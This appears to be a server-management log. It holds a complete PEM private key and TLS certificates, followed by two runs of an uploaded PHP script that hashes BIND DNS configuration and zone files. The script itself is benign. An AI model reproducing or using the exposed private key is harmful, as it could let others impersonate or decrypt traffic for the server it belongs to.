hnqCYjD31GNQrRpwtiIw6veekZ5ZV05BI1cwDQYJKoZIhvcNAQELBQADggEBAGfS
FDge69ag2iI2YVKnZNTZz7OKNAdzqdiDhEKcvWEkuu+LZveomQeHHXfH7GmhSN+x
qPkysCQI6vUXsJzoA10ueaQBZBfB3ObRjGaLWlxz1sHb0r3h9P84k2WSlOJvZgzA
YOpNx4IZR9mybTMr9uKpPB0i+SPigTn+2Gbg6fazFkz+kQLisj5xlcffHcDdsBt9
QKFahOy59x27mFA44cma9ShrEK6Q4nBKcm510sXcVYFflMV0R6b3ogWkHubmZuS9
6imrW40+0MCcZjUxS3BEM+VlABec6i+7kd31LuHmH0VAB2lSc2oVBmrBeVVBzavN
/olrs+9An8FpInsfPRQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDARHXjjMzZD1zA
MTXUmfIl1IW7omwpN1NVydmdmXrfXkqdJWI8ShpByKRmIGJOkyJY58SQXd8U0+KB
vNd5fY52K7ReQlYfaUT5MovMlodIWReDMIUlf3oiCSKB2knM4qSxhlfjXsec0HKz
yXQHPmqs4dhRdGkZUAU7pOP3dpRcErIUzK55/4UMmKtR9++1/NTUIoylCyAvap7o
XtKlVIEseIwEfTSxxSfaWijy+nmhb9Kt+/AuNG1yGsBdStf4gjkn42jwZHURlwSw
9+arG6RHwP+v/SNKwlAbOO4ZNiOY1FwbL2Y6Xv+MQLjheCcYW/empRxUYgCBKuDu
NAFXOx7rAgMBAAECggEAGSB5UFPaK53fLxDfVO8KNIPJ4cPazdIjVnQAOCFS67aC
Gs0ZbFak3XxaxoFXR6c2lxbcW0pL+V1YM0CvilBB2ii2XuvddH0d8fv3RYqrQxBo
SxFVZ+6j0qc4oW7FM/0ErVyox21fZJuLT1ALFVfvZLOelm/tEk1LucfqsQWyuDYm
P3G2oHdDo/w+5eSV6YE4vUFksi3Tlw4HeWcWGVPTKWDsrOoyHiKn8Lx39qLLgrRB
9cvTZIdf62VAzE7yP8URZu1WSlvdIqk6Bid/Gwr3nwMfdXiqjzyfBKHN6gJxkGJD
o6L2MNGXwaSmzwowHPCFoeQnECSgml2xePXjtrKafQKBgQD4gptmkh2ERpN3DSs+
TC4ygKTrcUl+z3TlduUckd4RijNLyoe02CUlCH5+CItxRiErehzXG7iIVcrmqakZ
n91kFJOjs1CQVL2q1+bu+I4gDP7MnwdYuVFxjnS7jwRXANbB+6h2xjGw/f7RYnga
NU0hIlsW29SXgTghiDo50Xb1jQKBgQDGD+jbKW3byuQI/UYromoIes/F3qFDBEeb
M7JY3Nn9KQuggX0h/JUxlJO3naEl89OAt9Nnyn3fzA7YNJLRIWSwXv67qwRqcsgV
iysQPZ4FSzDMDb5FMseoBMD5EpIETaFaFSCg0heABqff0txY+OX2MUMX45i2B9he
r4xaZItcVwKBgEDuv3QZkaTSXA2rXzUz6o4/ltf+DdoYks6yNkM0yfWDSsvu626R
W4NFqOd9jBHY5SnbClYaZCkbYZzLj+emIc7YoYsQe2h6++P77ddbEqfFPX5xvxWr
tmAZfN7VC6lACt08yFPgjXNVqpNDS2Ztru2NcIeUgQPlO6lnUu9wj8ixAoGAIjaz
WdCRSquEsszVp0n6GRbl919a6hG+MOBASbt06JeDi6lyrUFNoG/zCH/xS3YQLicT
HNXM4rEES3LhfcDP/OucA10qeRz01UviF38dYfq4Jjeli5yXAr43e48qrBWg7sfB
iCZiqtn7e92X9MKiLuIZnfHR+nfmd4zJqP+/VycCgYBe3NoREsC6SxzuAcy1lwOp
n1JNuk/lBR9DKCnl26DwNFHviN8hNo/JMIql5YJbYZxaHESOUs4DdUYiRW2Tdtlo
sL18lGquZcEVSK3RqZpnikDjsBX5D7iA7kLHxwVSxBWw4Atd2eyXgUSnuynwLFDU
rJUoihz8JvkuSNDmOZ5Y+g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:28:09: Establishing a connection
2026-01-03 19:28:09: 

PUT: /tmp/pkp429386

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:28:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp429386; rm /tmp/pkp429386'

2026-01-03 19:28:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:28:25: Establishing a connection
2026-01-03 19:28:35: Establishing a connection
2026-01-03 19:28:35: 

PUT: /tmp/pkp315601

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:28:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp315601; rm /tmp/pkp315601'

2026-01-03 19:28:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
